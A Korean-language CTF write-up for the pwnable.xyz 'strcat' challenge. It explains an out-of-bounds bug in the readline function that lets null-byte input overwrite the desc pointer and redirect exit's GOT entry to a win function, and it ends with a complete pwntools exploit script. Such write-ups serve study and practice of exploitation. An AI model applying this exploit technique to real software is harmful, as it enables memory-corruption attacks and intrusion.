[pwnable.xyz] strcat
Pwn/pwnable.xyz

[pwnable.xyz] strcat

반응형
문제 풀이 환경 : Ubuntu 16.04

처음에 길을 잘못 들 뻔했는데 다행히도 잘 해결했다.

📝 Analysis


<< Mitigation >>

<< Execution >>

대충 name을 strcat 해주는 프로그램이다.

<< Code >>

· main

메뉴에 따라 기능이 실행되는 모양을 하고 있다.

1번 메뉴: strcat의 기능을 구현해놓은 것처럼 보인다.

2번 메뉴: desc 전역 변수에 설정된 주소를 참조해서 값을 수정할 수 있다. 왠지 전역 변수인 만큼 값 변경 후 수정을 해주면 될 것 같은 기분이 든다.

3번 메뉴: FSB(Format String Bug) 해보세요! 라고 어필하고 있지만 함정에 걸리지 말자. 더 간단한 방법이 있다.

 

· read_int32

이 함수는 기본적으로 메뉴의 기능을 선택하기 위해 존재한다.

처음에는 malloc, free의 존재와 main에 있었던 desc에 할당해준 malloc과 연계해 힙으로 풀까 싶었지만 그건 아니었다. 조작할 수 있는 벡터의 부재가 원인이었다.

(사실 printf로 malloc을 call 할 수도 있었지만 그게 목적이 아닌 것 같아 패스했다.)

 

· readline

우리의 주인공 함수다.

사용자로부터 입력을 받고 희안하게 name 전역 변수에 설정된 문자열의 길이를 기준으로 문자열의 끝을 null byte로 바꿔주고, 끝으로 name 문자열 길이 - 1을 리턴()해준다.

그냥 보면 뭘까 싶겠지만 여기에서 취약점이 드러난다.

 

✨ Thinking


readline 함수를 다시 한 번 보면, v2 변수에 저장될 값은 name 주소에 strlen을 한 값이다.

중요한 점은 read 함수가 사용자로부터 null byte도 입력받는다는 사실 덕분에 우리는 v2에 저장될 값을 조작할 수 있다는 얘기다!

더하여 그 값(v2)는 리턴할 때 -1을 해주고 결국 maxlen의 값에서 빼 지게 된다.

생각해보자. v2가 0으로 설정된다면 main 함수에서 maxlen - (-1) = maxlen + 1 이 된다.

maxlen의 길이가 늘어나게 된다면 사용자가 입력할 수 있는 길이도 늘어난다는 뜻이고 이 말인즉슨, 전역 변수 name의 길이를 초과해서 바로 뒤에 붙어있는 전역 변수 desc의 값을 조작할 수 있게 된다는 것이다.

전형적인 OOB 문제였다.

 

🧩 Exploit Scenario 


1. maxlen의 길이를 늘려준다.

2. 입력을 통해 desc의 값을 조작해준다. 조작해줄 값은 exit got다.

  2-1. desc 조작 시 주의할 점 1

더보기

 payload를 작성할 때 desc에 값을 덮어주기 전에 null byte를 하나 넣어야 한다. readline 함수 특성상 가장 처음 만나는 null byte 바로 전 byte를 null로 초기화해준다. 그렇지 않으면 다음과 같은 불상사가 일어난다.

(free got를 공격 벡터로 설정하긴 했지만 중간에 null byte를 넣어주지 않아서 0x60이 사라진 모습이다.)

(중간에 null byte를 넣어줘서 잘 바뀐 모습이다.)

  2-2. 공격 벡터를 free got가 아닌 exit got로 한 이유

더보기

  이유는 간단하다. 사진을 보면,

  타겟 함수인 win이 잘 들어가게 되었지만 plt, got 기법 특성상 한 번 이상 불린 함수들은 실제 주소로 세팅된 것을 볼 수 있다. 그러므로 한 번도 불리지 않은 함수를 타겟으로 설정하다 보니exit got로 바꾸게 된 것이다.

3. edit 기능을 이용해 win 함수로 got overwrite를 해준다. (exit got = win)

4. 지난번 문제들과 마찬가지로 1분 기다려주면 exit 함수가 트리거 되면서 끝.

 

🚩 Flag 🚩


from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

p = process('./strcat')
# p = remote('svc.pwnable.xyz', 30013)
e = ELF('./strcat')

win = e.sym['win']
# free_got = e.got['free']
exit_got = e.got['exit']

def concat_name(name):
  p.sendlineafter('> ', '1')
  p.sendafter('Name: ', name)
  
def edit_desc(desc):
  p.sendlineafter('> ', '2')
  p.sendafter('Desc: ', desc)
  
def print_all():
  p.sendlineafter('> ', '3')
  

p.sendafter('Name: ', '\x00')
p.sendafter('Desc: ', '1')

# extension of maxlen
for _ in range(10):
  concat_name('\x00')
  
payload  = b'A' * 127 + b'\x00'
payload += p64(exit_got) # free_got will be failed
concat_name(payload)

edit_desc(p32(win))


p.interactive()

 

p.s. 나중에 fsb로도 해봐야겠다. 한다면 double staged fsb이긴 한데 한 번 시도해봤을 때 왠지 null byte 방해 때문에 실패했던 것 같기도 하다. payload 잘 조작하면 될지도...?

반응형